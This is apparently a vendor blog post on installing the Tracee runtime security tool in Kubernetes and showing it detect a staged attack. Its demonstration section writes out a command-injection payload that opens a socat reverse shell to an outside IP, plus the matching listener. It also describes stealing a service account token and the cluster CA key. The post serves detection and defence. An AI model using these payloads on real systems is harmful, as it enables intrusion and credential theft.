Despite best efforts to harden Kubernetes environments, prevention will never be enough and attackers are finding ways to evade shift-left and other preventative capabilities. It is critical to be able to detect and respond in real time to attacks within Kubernetes clusters. Tracee, an open source runtime security tool, is a great way to get up and running quickly with the visibility required to see these attacks in progress. This first blog in a series about runtime security with Tracee shows how to deploy Tracee in a few easy steps.
Installation prerequisites
The first step of any installation is making sure the proper prerequisites are in place. For modern kernels, Tracee can make use of BTF to automatically configure its BPF programs, but for older distributions it is necessary to ensure that the Linux kernel headers are installed.
These will be installed on common cloud images by default. It is possible to confirm that the servers have them installed with this command on Ubuntu-based distributions:
dpkg -l | grep -i linux-headers-$(uname -r)
In the case of the test cluster for this demonstration, the response shows that the kernel headers are installed and available:
However, if the kernel headers are not present on cluster nodes, they can be installed with the following command:
sudo apt install linux-headers-$(uname -r)
Installing Tracee
Tracee provides a set of Kubernetes manifests to make installation easy. These manifests can be found in the deploy directory of the Tracee repository. There will most likely be an expanded set of installation options in the future, so do check the documentation for the latest process.
For this test cluster, the Tracee repository is first cloned to a client machine that has kubectl setup and is configured to point to the target cluster.
git clone https://github.com/aquasecurity/tracee.git
Then once the repository is cloned, the deployment manifest for Tracee can be applied. Multiple webhook servers can be used with Tracee to send alerts to other systems; the method used in this example is Postee:
kubectl create -f tracee/deploy/kubernetes/tracee-postee/tracee.yaml
Once Tracee has been deployed, Postee can be added in to process any alerts:
https://github.com/aquasecurity/postee.git
kubectl create -f postee/deploy/kubernetes/postee.yaml
kubectl create -f postee/deploy/kubernetes/postee-cm.yaml
kubectl create -f postee/deploy/kubernetes/hostPath/postee-pv.yaml
Validating the installation
Now that Kubernetes manifests have been applied, it should be possible to see the pods running in the cluster. There should be one pod per node of the cluster as Tracee uses a daemonSet that will deploy a new instance to every node as it comes online. Here, there are two nodes and two pods running.
It is possible to validate that Tracee has loaded and the signatures are active by looking at the logs:
The last thing needed to validate the Tracee installation is to generate a test event. This ensures that it is picked up correctly, and that Tracee is running properly. For this example, a pod was launched into our cluster using one of the demonstration images from Nautilus, Aqua’s cyber research team, which will carry out some actions that emulate attackers.
kubectl run alertgenerator --image=teamnautilus/fileless_test
Checking the logs of the Tracee pod again shows that the event has fired. Once that pod has been running for 10 seconds or so, the logs on the Tracee pods in the cluster show the alerts with the hostname matching the test pod name.
Detecting a real-world attack
Now that Tracee is installed, it is possible to see an attacker’s actions in real time.
In the cluster an application is running, aptly called “very-vuln-server”.
This is an instance of the OWASP multillidae project, which is a handy vulnerable web application, useful for testing tools, practicing application security attacks, and demonstrating vulnerabilities.
One of the vulnerabilities it contains is a command injection issue in a DNS lookup service.
Input provided to this page is passed on to the underlying container running the application. As a side note, it helps to set up a listener on the machine under control in order to see the attacker’s reverse shell before exploiting anything.
socat file:`tty`,raw,echo=0 tcp-listen:4444
In this case, a socat is used rather than the traditional netcat, because it provides better support for a richer shell experience that will work with kubectl commands.
Having set up the listener, it is now possible to exploit the vulnerable web application:
owasp.org & socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.41.91:4444
Running this command gives the attacker a reverse shell on the very-vuln-server.
The Tracee logs show that the attack has not gone unnoticed. The signature for “Illegitimate shell” has fired:
The next thing the attacker needs to do is download kubectl to see if it is possible to achieve expanded access to the rest of the cluster.
Running the usual command to enumerate rights in a cluster, the attacker has some potentially useful ways to escalate privileges!
But again, this access has been logged by Tracee:
Here, the kubectl command is being used in the container to access the service account token, which is a good indication of an attack.
Next, the attacker uses this to create pods to execute an attack in order to gain access to the most sensitive file in the cluster, the Certificate Authority private key. The attacker uses a pod designed to be launched on the control plane node of the cluster and dumps out the key to the pod logs:
Once again, Tracee can detect this attack, showing the theft of the key:
Conclusion
Tracee is a great first step to getting runtime security solution in place in your Kubernetes environments.
The rest of the series will demonstrate how to use Postee to send alert information from Tracee to external systems, along with more examples of using Tracee to detect attacks in real time.